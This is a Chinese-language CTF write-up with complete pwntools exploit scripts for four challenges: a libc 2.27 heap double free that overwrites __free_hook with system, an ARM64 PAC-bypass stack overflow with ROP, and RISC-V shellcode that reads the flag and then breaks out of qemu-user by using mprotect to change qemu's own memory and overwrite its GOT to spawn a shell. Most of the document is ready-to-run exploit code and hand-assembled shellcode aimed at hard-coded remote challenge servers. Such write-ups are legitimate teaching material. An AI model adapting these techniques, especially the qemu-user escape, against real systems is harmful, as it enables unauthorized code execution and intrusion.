2021年1月

babyheap

18.04 libc2.27堆题,delete有double free

白给题,触发malloc_consolidate就可以leak+overlapping

EXP:

from pwn import *

#p = process("./pwn")
p = remote("52.152.231.198", 8081)
elf = ELF("./pwn")
#libc = ELF("./libc.so.6")
libc = ELF("./libc-2.27.so")
context.log_level = "debug"


def add(idx:int, size:int):
    p.recvuntil(b">> \n")
    p.sendline(b"1")
    p.recvuntil(b"input index\n")
    p.sendline(str(idx).encode())
    p.recvuntil(b"input size\n")
    p.sendline(str(size).encode())
    
def delete(idx:int):
    p.recvuntil(b">> \n")
    p.sendline(b"2")
    p.recvuntil(b"input index\n")
    p.sendline(str(idx).encode())
    
def edit(idx:int, content):
    p.recvuntil(b">> \n")
    p.sendline(b"3")
    p.recvuntil(b"input index\n")
    p.sendline(str(idx).encode())
    p.recvuntil(b"input content\n")
    p.send(content)
    
def show(idx:int):
    p.recvuntil(b">> \n")
    p.sendline(b"4")
    p.recvuntil(b"input index\n")
    p.sendline(str(idx).encode())
    
def leaveName(name):
    p.recvuntil(b">> \n")
    p.sendline(b"5")
    p.recvuntil(b"your name:\n")
    p.send(name)
    
def showName():
    p.recvuntil(b">> \n")
    p.sendline(b"6")

def exp():
    # leak libc
    for i in range(16):
        add(i, 0x20) #0-9
    for i in range(15):
        delete(i) # del 0-9
    leaveName(b"123123")
    show(7)
    libc_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))
    libc_base = libc_leak - 0x3ebe10
    malloc_hook = libc_base + libc.symbols[b"__malloc_hook"]
    free_hook = libc_base + libc.symbols[b"__free_hook"]
    system = libc_base + libc.symbols[b"system"]
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("malloc_hook:", hex(malloc_hook))
    print("free_hook:", hex(free_hook))
    
    # overlapping && double free
    add(0, 0x50) #0
    edit(0, p64(0)*4+p64(0x61))
    delete(8)
    edit(0, p64(0)*4+p64(0x61)+p64(free_hook-0x8))
    
    # attack free_hook
    add(1, 0x50) #1
    add(1, 0x50) #1
    edit(1, p64(system))
    print("free_hook:", hex(free_hook))
    edit(0, p64(0)*4+p64(0x61)+b"/bin/sh\x00")
    delete(8)
    
    #gdb.attach(p)
    
    p.interactive()

if __name__ == "__main__":
    exp()

babypac

arm架构的题,有栈溢出机会

数据结构:

从0x412050开始的结构体数组

strcut aaa{
QWORD id;
QWORD lock;
};

分析:

  • add函数将id设为你的输入,lock设为0
  • lock函数将id设为sub_4009D8(id),lock设为1
  • show函数当lock为0时候打印id,lock为1的时候不打印
  • auth函数检查是否sub_4009d8(0x10A9FC70042)为id,是的话给栈溢出机会

这里有整数溢出,当idx由unsigned解释为int得时候为-2得时候,可控name就变为我们输入得,然后:

这里就可以绕过检测,来使得name为那个大整数从而溢出。溢出的话使用rop.可以mprotect改bss段,然后shellcode。使用通用gadget。或者自己构造。

思路:

  1. PACIA指令对跳转指针进行签名,签名结果被函数加密了,找shallow写了脚本解出签名后的指针
  2. 然后用csu gadget leak出puts的地址低三字节,拼接出完整地址
  3. ret回main同样的方法调用read往一个RW地址写入system_addr+b"/bin/sh\x00"
  4. ret回main同样的方法调用system(借助上一步写入的函数地址和参数)

EXP:

from pwnlib.util.iters import mbruteforce
import string
from hashlib import sha256
from pwn import *
import time

#p = process(argv=["qemu-aarch64","-cpu", "max", "-L", ".", "-g", "1234", "./chall"])
#p = process(argv=["qemu-aarch64","-cpu", "max", "-L", ".", "./chall"])
p = remote("52.255.184.147", 8080)
elf = ELF("./chall")
libc = ELF("./lib/libc.so.6")
context.log_level = "debug"
context.arch = "aarch64"

def add(_id:int):
    p.recvuntil(b">> ")
    p.sendline(b"1")
    p.recvuntil(b"identity: ")
    p.sendline(str(_id).encode())
    
def lock(idx):
    p.recvuntil(b">> ")
    p.sendline(b"2")
    p.recvuntil(b"idx: ")
    p.sendline(str(idx).encode())
    
def show():
    p.recvuntil(b">> ")
    p.sendline(b"3")

def auth(idx):
    p.recvuntil(b">> ")
    p.sendline(b"4")
    p.recvuntil(b"idx: ")
    p.sendline(str(idx).encode())
    
def unshiftleft(n , shift , mask = 0xffffffffffffffff):
    res = n
    temp = len(bin(n)[2:]) // shift + 1
    for _ in range(temp):
        res = n ^ ((res << shift) & mask)
    return res
def unshiftright(n , shift , mask = 0xffffffffffffffff):
    res = n
    temp = len(bin(n)[2:]) // shift + 1
    for _ in range(temp):
        res = n ^ ((res >> shift) & mask)
    return res
    
def unshift(c):
    c = unshiftright(c , 13)
    c = unshiftleft(c , 31)
    c = unshiftright(c , 11)
    c = unshiftleft(c , 7)
    return c
    
# global const
bss_name = 0x412030
bss_list = 0x412050

curr_ret_addr = 0x400da4
csu_gadget_1 = 0x400FF8
csu_gadget_2 = 0x400FD8
puts_got = 0x411FD0
read_got = 0x411FD8
main_addr = 0x400F5C

def exp():
                        
    # set name
    p.recvuntil(b"input your name: ")
    name = p64(csu_gadget_1) + p64(0) + p64(0x10A9FC70042) + p64(0)
    p.send(name) #0x3f000000400ff8

    lock(-2)
    add(0xdeadbeef) #0
    show()
    p.recvuntil(b"name: ")
    encode_csu_gadget_1 = u64(p.recvuntil(b"\x01\n", drop=True))
    print("encode_csu_gadget_1:", hex(encode_csu_gadget_1))
    signed_csu_gadget_1 = unshift(encode_csu_gadget_1)
    print("signed_csu_gadget_1:", hex(signed_csu_gadget_1))
    
    lock(-1)
    auth(-1)
    
    # stack overflow
    payload = b"a"*0x28
    payload += p64(signed_csu_gadget_1)
    payload += p64(csu_gadget_2)*2
    payload += p64(0) + p64(1)
    payload += p64(puts_got) + p64(puts_got)
    payload += p64(0) + p64(0)
    payload += p64(main_addr) + p64(main_addr)
    payload += p64(csu_gadget_2)
    p.sendline(payload)
    
    libc_leak = p.recvuntil(b"\n", drop=True)
    libc_leak = (libc_leak+b"\x00\x40").ljust(8, b"\x00")
    puts = u64(libc_leak)
    libc_base = puts - libc.symbols[b"puts"]
    system = libc_base + libc.symbols[b"system"]
    binsh = libc_base + next(libc.search(b"/bin/sh"))
    mprotect = libc_base + libc.symbols[b"__mprotect"]
    print("puts:", hex(puts))
    print("libc_base:", hex(libc_base))
    print("system:", hex(system))
    print("binsh:", hex(binsh))
    print("mprotect:", hex(mprotect))

    # set name
    p.recvuntil(b"input your name: ")
    name = p64(csu_gadget_1) + p64(0) + p64(0x10A9FC70042) + p64(0)
    p.send(name) #0x3f000000400ff8
    
    lock(-2)
    add(0xdeadbeef) #0
    show()
    p.recvuntil(b"name: ")
    encode_csu_gadget_1 = u64(p.recvuntil(b"\x01\n", drop=True))
    print("encode_csu_gadget_1:", hex(encode_csu_gadget_1))
    signed_csu_gadget_1 = unshift(encode_csu_gadget_1)
    print("signed_csu_gadget_1:", hex(signed_csu_gadget_1))
    
    lock(-1)
    auth(-1)
    
    # stack overflow
    payload = b"a"*0x28
    payload += p64(signed_csu_gadget_1)
    payload += p64(csu_gadget_2)*2
    payload += p64(0) + p64(1)
    payload += p64(read_got) + p64(0)
    payload += p64(0x412060) + p64(100)
    payload += p64(main_addr) + p64(main_addr)
    payload += p64(csu_gadget_2)
    p.sendline(payload)
    
    p.sendline(p64(system)+b"/bin/sh\x00")
    
    # set name
    p.recvuntil(b"input your name: ")
    name = p64(csu_gadget_1) + p64(0) + p64(0x10A9FC70042) + p64(0)
    p.send(name) #0x3f000000400ff8
    
    lock(-2)
    add(0xdeadbeef) #0
    show()
    p.recvuntil(b"name: ")
    encode_csu_gadget_1 = u64(p.recvuntil(b"\x01\n", drop=True))
    print("encode_csu_gadget_1:", hex(encode_csu_gadget_1))
    signed_csu_gadget_1 = unshift(encode_csu_gadget_1)
    print("signed_csu_gadget_1:", hex(signed_csu_gadget_1))
    
    lock(-1)
    auth(-1)
    
    # stack overflow
    payload = b"a"*0x28
    payload += p64(signed_csu_gadget_1)
    payload += p64(csu_gadget_2)*2
    payload += p64(0) + p64(1)
    payload += p64(0x412060) + p64(0x412060+0x8)
    payload += p64(0) + p64(0)
    payload += p64(main_addr) + p64(main_addr)
    payload += p64(csu_gadget_2)
    p.sendline(payload)
    
    p.interactive()

def proof_of_work(p):
    p.recvuntil("xxxx+")
    suffix = p.recv(16).decode("utf8")
    p.recvuntil("== ")
    cipher = p.recvline().strip().decode("utf8")
    proof = mbruteforce(lambda x: sha256((x + suffix).encode()).hexdigest() ==
                        cipher, string.ascii_letters + string.digits, length=4, method='fixed')
    p.sendlineafter("Give me xxxx:", proof)


if __name__ == "__main__":
    proof_of_work(p)
    exp()

Favourite Architecure flag1

RISCV PWN,憋shellcode

  1. 远程栈固定,本地写完后稍加修改就打通了远程
  2. 栈溢出后用主函数末尾的gadget跳到自定义的一个栈位置上开始执行编辑好的orw shellcode
  3. RISCV的shellcode编写可以借助Ghidra右键patch功能(会显示16进制代码)

EXP:

from pwn import *

#p = process(argv=["./qemu-riscv64", "-g", "1234", "./main"])
#p = process(argv=["./qemu-riscv64", "./main"])
p = remote("119.28.89.167", 60001)
#p = remote("127.0.0.1", 60001)
context.log_level = "debug"
#context.arch = "riscv64"
elf = ELF("./main")

# overflow offset: 0x120
# ret_addr: 0x11300

def exp():
    p.recvuntil(b"Input the flag: ")
    #p.sendline(b"a"*0x4b8)
    ## openat(root, "/home/pwn/flag")
    shellcode = b"\x01\x45" #c.li a0, 0
    shellcode += b"\x01\x11" #c.addi sp -0x20
    shellcode += b"\x8a\x85" #c.mv a1, sp
    shellcode += b"\x01\x46" #c.li a2, 0
    shellcode += b"\x93\x08\x80\x03" #li a7, 56
    shellcode += b"\x73\x00\x00\x00" #ecall
    ## read(flag_fd, reg_sp, 30)
    shellcode += b"\x0d\x45" #c.li a0, 5
    shellcode += b"\x8a\x85" #c.mv a1, sp
    shellcode += b"\x13\x06\x20\x03" #c.li a2, 30
    shellcode += b"\x93\x08\xf0\x03" #li a7, 63
    shellcode += b"\x73\x00\x00\x00" #ecall
    ## write(1, reg_sp, 30)
    shellcode += b"\x05\x45" #c.li a0, 5
    shellcode += b"\x8a\x85" #c.mv a1, sp
    shellcode += b"\x13\x06\x20\x03" #c.li a2, 30
    shellcode += b"\x93\x08\x00\x04" #li a7, 63
    shellcode += b"\x73\x00\x00\x00" #ecall
    print("shellcode len:", hex(len(shellcode)))
    shellcode = shellcode.ljust(0x40, b"\x00")+b"/home/pwn/flag\x00"
    
    
    payload = b"a"*0x120+p64(0x1058a)
    payload = payload.ljust(0x2c8, b"a")
    payload += shellcode
    payload = payload.ljust(0x320, b"a")
    payload += p64(0x4000800e10)
    
    p.sendline(payload)
    p.interactive()

if __name__ == "__main__":
    exp()

Favourite Architecure flag2

接着上一题,不过为了有足够的空间需要把shellcode的位置做调整,sp的位置做调整,以便读取/proc/self/maps泄露地址

观察了qemu的源码以及实际测试发现,qemu-user没有做好地址隔离,如果泄露出地址后借助mprotect修改qemu got表所在段权限,修改mprotect函数got表就可以执行system("/bin/sh\x00")

坑点:

  1. shellcode位置要安排好,以免读文件覆盖掉shellcode
  2. qemu对/proc/self/maps路径做了限制,可以改成/home/**/proc/self/maps来绕过
  3. qemu-user地址隔离做的不好,直接vmmap虽然看不到qemu的内存,但是可以用mprotect修改其权限,改掉之后在调试器中hexdump就可以看到内存了
  4. 如果想修改mprotect_got指向system要注意,在进入mprotect系统调用时qemu会检查第一个参数的地址是否页对齐,对齐了才会call mprotect_got上的指针。这导致在利用时需要先把flag存到bss或者data段某些页对齐的地址上(大坑

    源码:

        if ((start & ~TARGET_PAGE_MASK) != 0)
            return -EINVAL;
  5. 注意li指令立即数大小有限制,可以结合位运算扩大

EXP:

from pwn import *
import time

#p = process(argv=["./qemu-riscv64", "-g", "1234", "./main"])
#p = process(argv=["./qemu-riscv64", "./main"])
p = remote("119.28.89.167", 60001)
#p = remote("127.0.0.1", 60001)
libc = ELF("./libc-2.27.so")
context.log_level = "debug"
#context.arch = "riscv64"
elf = ELF("./main")

# overflow offset: 0x120
# ret_addr: 0x11300

def exp():
    p.recvuntil(b"Input the flag: ")
    #p.sendline(b"a"*0x4b8)
    ## openat(root, path, 0)
    shellcode = b"\x01\x45" #c.li a0, 0
    shellcode += b"\x8a\x85" #c.mv a1, sp
    shellcode += b"\x01\x46" #c.li a2, 0
    shellcode += b"\x93\x08\x80\x03" #li a7, 56
    shellcode += b"\x73\x00\x00\x00" #ecall
    ## read(flag_fd, reg_sp, 30)
    shellcode += b"\x0d\x45" #c.li a0, 3
    #shellcode += b"\x15\x45" #c.li a0, 5
    shellcode += b"\x13\x01\x01\xb0" #addi sp, sp, -0x500
    shellcode += b"\x8a\x85" #c.mv a1, sp
    shellcode += b"\x13\x01\x01\x50" #addi sp, sp, 0x500
    shellcode += b"\x13\x06\x00\x32" #li a2, 0x1b0
    shellcode += b"\x93\x08\xf0\x03" #li a7, 63
    shellcode += b"\x73\x00\x00\x00" #ecall
    ## write(1, reg_sp, 30)
    shellcode += b"\x05\x45" #c.li a0, 1
    shellcode += b"\x13\x01\x01\xb0" #addi sp, sp, -0x500
    shellcode += b"\x8a\x85" #c.mv a1, sp
    shellcode += b"\x13\x01\x01\x50" #addi sp, sp, 0x500
    shellcode += b"\x13\x06\x00\x32" #li a2, 0x1b0
    shellcode += b"\x93\x08\x00\x04" #li a7, 63
    shellcode += b"\x73\x00\x00\x00" #ecall
    ## read(0, reg_sp, 0x10)
    shellcode += b"\x01\x45" #c.li a0, 0
    shellcode += b"\x13\x01\x01\xb0" #addi sp, sp, -0x500
    shellcode += b"\x8a\x85" #c.mv a1, sp
    shellcode += b"\x13\x01\x01\x50" #addi sp, sp, 0x500
    shellcode += b"\x41\x46" #c.li a2, 0x10
    shellcode += b"\x93\x08\xf0\x03" #li a7, 63
    shellcode += b"\x73\x00\x00\x00" #ecall
    shellcode += b"\x13\x01\x01\xb0" #addi sp, sp, -0x500
    shellcode += b"\x02\x64" #c.ldsp s0, 0x0(sp) => qemu_base_2
    shellcode += b"\xa2\x64" #c.ldsp s1, 0x8(sp) => mprotect_got
    shellcode += b"\x13\x01\x01\x50" #addi sp, sp, 0x500
    ## mprotect(start, len, 7)
    shellcode += b"\x13\x05\x04\x00" #mv a0, s0
    shellcode += b"\x93\x05\xc0\x03" #li a1, 0x3c
    shellcode += b"\x93\x95\xc5\x00" #slli a1, a1, 0xc
    shellcode += b"\x1d\x46" #c.li a2, 0x7
    shellcode += b"\x93\x08\x20\x0e" #li a7, 226(mprotect)
    shellcode += b"\x73\x00\x00\x00" #ecall
    ## write(1, mprotect_got, 0x8)
    shellcode += b"\x05\x45" #c.li a0, 1
    shellcode += b"\xa6\x85" #c.mv a1, s1
    shellcode += b"\x13\x06\x80\x00" #li a2, 0x8
    shellcode += b"\x93\x08\x00\x04" #li a7, 63
    shellcode += b"\x73\x00\x00\x00" #ecall
    ## read(0, mprotect_got, 8)
    shellcode += b"\x01\x45" #c.li a0, 0
    shellcode += b"\x93\x85\x04\x00" #mv a1, s1 => mprotect_got
    shellcode += b"\x21\x46" #c.li a2, 0x8
    shellcode += b"\x93\x08\xf0\x03" #li a7, 63
    shellcode += b"\x73\x00\x00\x00" #ecall
    ## store "/bin/sh" to 0x6d000 (PAGE_MASK_ADDR)
    shellcode += b"\x13\x01\x81\x01" #addi sp, 0x18
    shellcode += b"\x03\x39\x01\x00" #ld s2, 0x0(sp) load "/bin/sh"
    shellcode += b"\x13\x01\x81\xfe" #addi sp, -0x18
    shellcode += b"\x13\x01\xd0\x06" #li sp, 0x6d
    shellcode += b"\x13\x11\xc1\x00" #slli sp, sp, 0x4
    shellcode += b"\x23\x30\x21\x01" #sd s2, 0x0(sp) store "/bin/sh"
    ## system("/bin/sh")
    shellcode += b"\x13\x05\x01\x00" #mv a0, sp    
    shellcode += b"\x93\x05\xc0\x03" #li a1, 0x3c
    shellcode += b"\x93\x95\xc5\x00" #slli a1, a1, 0x18
    shellcode += b"\x1d\x46" #c.li a2, 0x7
    shellcode += b"\x93\x08\x20\x0e" #li a7, 226(mprotect)
    shellcode += b"\x73\x00\x00\x00" #ecall
    

    print("shellcode len:", hex(len(shellcode)))    
    
    payload = b"a"*0x120+p64(0x1058a)
    payload += shellcode
    payload = payload.ljust(0x320, b"a")
    payload += p64(0x4000800c70)
    payload += b"/proc/self/task/../maps\x00/bin/sh\x00"
    
    p.sendline(payload)
    
    #time.sleep(1)
    for i in range(6):
        p.recvuntil(b"\n")
    qemu_base = int(p.recvuntil(b"-", drop=True), 16)
    p.recvuntil(b"\n")
    qemu_base_2 = int(p.recvuntil(b"-", drop=True), 16)
    p.recv()
    
    do_syscall_1 = qemu_base + 0x141100
    do_syscall = qemu_base + 0x14cb50
    mprotect_got = qemu_base + 0x6A3200
    print("[*] qemu_base:", hex(qemu_base))
    print("[*] do_syscall_1:", hex(do_syscall_1))
    print("[*] mprotect_got:", hex(mprotect_got))
    print("[*] qemu_base_2:", hex(qemu_base_2))

    p.send(p64(qemu_base_2)+p64(mprotect_got))
    
    mprotect_libc = u64(p.recv(8))
    libc_base = mprotect_libc - libc.symbols[b"__mprotect"]
    system = libc_base + libc.symbols[b"system"]
    print("[*] mprotect_libc:", hex(mprotect_libc))
    print("[*] libc_base:", hex(libc_base))
    print("[*] system:", hex(system))
    
    p.send(p64(system))
    
    p.interactive()

if __name__ == "__main__":
    exp()